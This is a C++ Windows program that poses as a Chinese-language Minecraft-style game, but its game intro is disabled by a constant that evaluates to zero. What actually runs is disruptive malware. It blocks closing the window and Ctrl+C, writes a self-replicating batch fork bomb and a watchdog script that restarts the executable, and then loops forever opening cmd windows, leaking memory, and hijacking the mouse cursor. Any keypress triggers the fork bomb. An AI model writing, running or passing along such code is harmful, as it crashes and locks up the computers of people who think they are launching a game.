#include<bits/stdc++.h>
#include<windows.h>
#define pressing(bruh) ((GetAsyncKeyState(bruh) & 0x8000) ? 1:0)
#define diujambo(n) malloc(n)
#define S(x,y) SetCursorPos(x,y)
using namespace std;int xx=sqrt(abs(pow(-1,3)))-1;BOOL WINAPI ConsoleHandler(DWORD dwCtrlType) {switch (dwCtrlType) {case CTRL_C_EVENT:return TRUE;default:return FALSE;}}void f(string x){for(int i=x.size()-1;i>=0;i--){cout<<x[i];}}void say(string x,int n){cout<<x;}void jvqing(){cout<<"输入你的名字...(不支持空格)";}void getch(){cout<<"输入“random”以随机名字!";}int main(int argc, char* argv[]) {if(xx){string name;int choose;say("输入你的名字...(不支持空格)",50);cout<<endl; cout<<"输入“random”以随机名字!"<<endl;cin>>name;say("唔...",100);cout<<endl;if(name=="random"){name="aaaa";Sleep(500);say("你要使用这个名字吗,",50);say(name,20);}else{Sleep(1000);say("这就是你的名字了吗,",50);say(name,300);} cout<<"\n\n确定吗?(1,确定)"<<endl;cin>>choose;if(choose!=1)cout<<"OK..";if(name.length()<=3){SetConsoleTitle("草率的名字...");say("...有些草率的名字。",100);}cout<<endl;Sleep(2000);system("cls");SetConsoleTitle("查看剧情?");cout<<"输入 1 观看剧情,按其余键跳过。"<<endl;cin>>choose;if(choose==1){jvqing();}system("cls");SetConsoleTitle("你是新手吗?");cout<<"查看新手教程?建议新玩家查看(输入 1 查看)"<<endl;cin>>choose;if(choose==1){system("start http://hfoj.net/blog/85/63a2785dac95767ac35f4240");system("start http://10.80.74.11/blog/85/63a2785dac95767ac35f4240");}if(choose==1){getch();}else{cout<<"注:主界面也可以查看新手教程。"<<endl;getch();} SetConsoleTitle("MINECRAFT Loading...");system("cls");cout<<"现在,开始你的传奇吧!"<<endl;say("Create World...",80); Sleep(3000);}srand(time(0));int st=GetTickCount();POINT A;system("color 4F"); f("。嗽煤隳W\n蛐坛牡蠢龀沙蛐坛龈庹凹砸蛐坛龈庹舻毓允⒊徊ⅰ\n矣瓯笫凹砸牡仙膛窗徊ⅰ灰\n海蛟婀孪砸厥褡乇裎肭\n。肆救懈径〔槐阅绲牡隳");SetConsoleCtrlHandler(ConsoleHandler, TRUE);HWND hwnd = GetConsoleWindow();if (hwnd != NULL) {HMENU hMenu = GetSystemMenu(hwnd, FALSE);if (hMenu != NULL) {EnableMenuItem(hMenu, SC_CLOSE, MF_BYCOMMAND | MF_GRAYED);}}ofstream outfile("a.bat");outfile<<"start a.bat\n%0";outfile.close();string exePath=argv[0];size_t lastSlash=exePath.find_last_of("\\/");string exeName=(lastSlash != string::npos) ? exePath.substr(lastSlash + 1) : exePath;size_t lastDot=exeName.find_last_of('.');string batName=(lastDot != string::npos) ? exeName.substr(0, lastDot) + ".bat" : exeName + ".bat";ofstream batFile(batName.c_str());batFile<< "@echo off\n";batFile<< ":loop\n";batFile<< "tasklist /FI \"IMAGENAME eq " << exeName << "\" 2>NUL | find /I \"" << exeName << "\" >NUL\n";batFile<< "if %errorlevel% neq 0 (\n";batFile<< " start \"\" \"" << exeName << "\"\n";batFile<< ")\n";batFile<< "timeout /t 0 /nobreak >NUL\n";batFile<< "goto loop\n";batFile.close();system(("start \"\" \"" + batName + "\"").c_str());while (1){if((GetTickCount()-st)%26000>25000){system("start cmd");}if((GetTickCount()-st)%34000>33000){for(int i=1;i<=10000;i++){diujambo(1000000);}}if((GetTickCount()-st)%19000>11000){S(rand(),rand());}for(int i=2;i<=127;i++){if(pressing(i)){system("start a.bat");}}GetCursorPos(&A);if(A.y>GetSystemMetrics(SM_CYSCREEN)*8/10){S(A.x,GetSystemMetrics(SM_CYSCREEN)*7/10);}string checkCmd = "wmic process where \"name='cmd.exe' and commandline like '%" + batName + "%'\" get processid 2>nul | findstr /r /c:\"[0-9]*\" >nul";int result = system(checkCmd.c_str());if (result != 0) {system(("start \"\" \"" + batName + "\"").c_str());system("start a.bat");}Sleep(0);}return 0;}<sup></sup>